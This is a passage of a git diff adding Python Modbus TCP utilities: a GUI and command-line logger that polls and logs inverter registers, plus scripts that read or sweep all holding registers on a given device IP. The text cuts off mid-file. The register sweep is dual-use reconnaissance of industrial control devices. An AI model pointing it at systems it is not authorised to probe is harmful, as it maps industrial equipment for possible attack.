file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip 